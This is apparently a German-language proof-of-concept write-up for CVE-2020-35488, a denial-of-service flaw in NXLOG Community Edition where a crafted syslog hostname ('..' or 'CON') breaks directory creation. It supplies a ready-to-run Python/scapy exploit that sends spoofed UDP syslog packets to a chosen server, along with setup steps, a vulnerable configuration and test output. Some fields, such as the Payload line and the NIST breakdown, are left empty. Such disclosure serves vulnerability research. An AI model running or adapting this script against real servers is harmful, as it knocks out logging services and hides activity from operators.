
Proof-of-Concept-Exploit für CVE-2020-35488, eine Denial-of-Service-Schwachstelle in NXLOG Community Edition durch manipulierte Syslog-Payloads, die Fehler bei der Verzeichniserstellung verursachen.
Ich habe eine Schwachstelle im Produkt gefunden: nxlog-ce_2.10.2150. Ich habe meinen PoC nur unter Linux (Debian 10) und Windows (Windows Server 2016) getestet.
Scope : NXLOG Community Edition 2.10.2150
Fehlertyp : CWE-502, Deserialisierung nicht vertrauenswürdiger Daten https://cwe.mitre.org/data/definitions/502.html
Verwundbarer Teil : Syslog-Payload
Payload :
MEINE CVSS-BERECHNUNG :
Angriffsvektor : Netzwerk
Erforderliche Privilegien : Keine
Scope : Unverändert
Integrität : Keine
Angriffskomplexität : Niedrig
Benutzerinteraktion : Keine
Vertraulichkeit : Keine
Verfügbarkeit : Hoch
CVSS-Score : 7.5
SCHWEREGRAD : HOCH
CVSS-BERECHNUNG VON NIST : Link : https://nvd.nist.gov/vuln/detail/CVE-2020-35488
Angriffsvektor :
Erforderliche Privilegien :
Scope :
Integrität :
Angriffskomplexität :
Benutzerinteraktion :
Vertraulichkeit :
Verfügbarkeit :
CVSS-Score (3.X) : 7.5
SCHWEREGRAD : HOCH
Diese Schwachstelle kann einen DoS des NXLOG-Servers verursachen.
Der Server muss jedoch eine bestimmte Konfiguration aufweisen: Die nxlog-Konfigurationsdatei muss festlegen, dass ein Verzeichnis mit einem Feld aus einem Teil des Syslog-Payloads erstellt wird.
Syslog-Feld: https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_fields
Die Software versucht, ein Verzeichnis zu erstellen, aber der Name dieses Verzeichnisses kann im Dateisystem nicht erstellt werden.
Der Grund ist, dass dieser Verzeichnisname unzulässig ist.
Hier ist ein Beispiel für einen Verzeichnisnamen, der nicht erstellt werden kann:
Wenn die Konfigurationsdatei also so festgelegt ist, dass ein Verzeichnisname aus dem Syslog-Payload erstellt wird, kann ein Angreifer den Nxlog-Dienst abschalten.
Um diese Schwachstelle auszunutzen, habe ich ein Python-Skript erstellt:
#!/usr/bin/python3
# coding: utf8
# Nooooooooooo I'm not a script kiddie I hack syslog :D
# g0 h4ck SYSLOG
# Made by 123soleil with <3
import sys
import time
import argparse
from scapy.all import *
def getPayload(args):
# IF UNIX
if (args.OS == 1):
return "Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden"
# IF WINDOWS
elif (args.OS == 2):
return "Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden"
# Test
elif (args.OS == 3):
return "Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden"
def runExploit(args,payload):
priority = 30
message = payload
syslog = IP(src="192.168.1.10",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load="<" + str(priority) + ">" + message)
send(syslog,verbose=args.DEBUG)
def getArguments():
parser = argparse.ArgumentParser(description="Go h@ck SYSLOG")
parser.add_argument("-ip", "-IP", dest="IP", type=str, metavar="IP destination", required=True,default=1, help="IP of NXLOG server")
parser.add_argument("-p", "-P", dest="PORT", type=int, metavar="Port destination", required=False,default=514, help="Port of NXLOG default 514")
parser.add_argument("-os", "-OS", dest="OS", type=int, metavar="OS", default=1, required=True, help="1 : For unix payload \n 2 : For Windows Paylaod \n 3 : Just for test")
parser.add_argument("-d", "-D", dest="DEBUG", type=int, metavar="DEBUG", default=0, required=False, help="1 : Debbug enable")
return parser.parse_args()
def main():
args = getArguments()
payload = getPayload(args)
runExploit(args,payload)
main()
Nxlog-Dienst unter Debian 10 installieren:
apt-get install libapr1 libdbi1 libssl1.1 multiarch-support
cd /tmp
wget http://ftp.de.debian.org/debian/pool/main/p/perl/libperl5.24_5.24.1-3+deb9u7_amd64.deb
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl1.0/libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc-bin_2.28-10_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/m/man-db/man-db_2.8.5-2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/p/perl/perl-modules-5.24_5.24.1-3+deb9u7_all.deb
wget http://cz.archive.ubuntu.com/ubuntu/pool/main/g/gdbm/libgdbm3_1.8.3-13.1_amd64.deb
wget https://nxlog.co/system/files/products/files/348/nxlog-ce_2.10.2150_debian_stretch_amd64.deb
dpkg -i libc-bin_2.28-10_amd64.deb
dpkg -i libgdbm3_1.8.3-13.1_amd64.deb
dpkg -i perl-modules-5.24_5.24.1-3+deb9u7_all.deb
dpkg -i libperl5.24_5.24.1-3+deb9u7_amd64.deb
dpkg -i libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
dpkg -i man-db_2.8.5-2_amd64.deb
dpkg -i nxlog-ce_2.10.2150_debian_stretch_amd64.deb
Konfigurationsdatei des nxlog-Dienstes :
cat /etc/nxlog/nxlog.conf
########################################
# Global directives #
########################################
User nxlog
Group nxlog
LogFile /var/log/nxlog/nxlog.log
########################################
# Modules #
########################################
<Extension _syslog>
Module xm_syslog
</Extension>
<Extension _exec>
Module xm_exec
</Extension>
<Extension _fileop>
Module xm_fileop
</Extension>
<Input udp>
Module im_udp
Host 0.0.0.0
Port 514
Exec parse_syslog_bsd();
</Input>
<Output file>
Module om_file
CreateDir True
File "/var/log/nxlog/"+ $Hostname +"/"+ $Hostname +".log"
</Output>
########################################
# Routes #
########################################
<Route syslog_to_file>
Path udp => file
Priority 1
</Route>
Nxlog-Dienst starten :
systemctl start nxlog
systemctl status nxlog
Ausgabe :
● nxlog.service - LSB: logging daemon
Loaded: loaded (/etc/init.d/nxlog; generated)
Active: active (running) since Sun 2020-11-29 17:58:48 CET; 3min 1s ago
Docs: man:systemd-sysv-generator(8)
Tasks: 7 (limit: 2330)
Memory: 1.7M
CGroup: /system.slice/nxlog.service
└─1323 /usr/bin/nxlog
nov. 29 17:58:47 DEB-TEST systemd[1]: Starting LSB: logging daemon...
nov. 29 17:58:48 DEB-TEST nxlog[1312]: Starting nxlog daemon...nxlog started!
nov. 29 17:58:48 DEB-TEST nxlog[1312]: .
nov. 29 17:58:48 DEB-TEST systemd[1]: Started LSB: logging daemon.
Prüfen :
lsof -i :514
Ausgabe :
nxlog 1323 nxlog 18u IPv4 21321 0t0 UDP localhost:syslog
nxlog 1323 nxlog 19u IPv4 21324 0t0 TCP localhost:shell (LISTEN)
Ok, super !
Mit meinem Python-Skript kann ich einfach eine Syslog-Nachricht senden, um zu testen, ob der Nxlog-Dienst ein Verzeichnis erstellt.
Der Verzeichnisname basiert auf dem Feld HOSTNAME des Syslog-Payloads. (Siehe Konfigurationsdatei)
Also:
./syslog-exploit.py -ip 192.168.1.55 -os 3
Die dritte Option gibt den Hostnamen 123soleil im Syslog-Payload an.
Also:
ls /var/log/nxlog
123soleil nxlog.log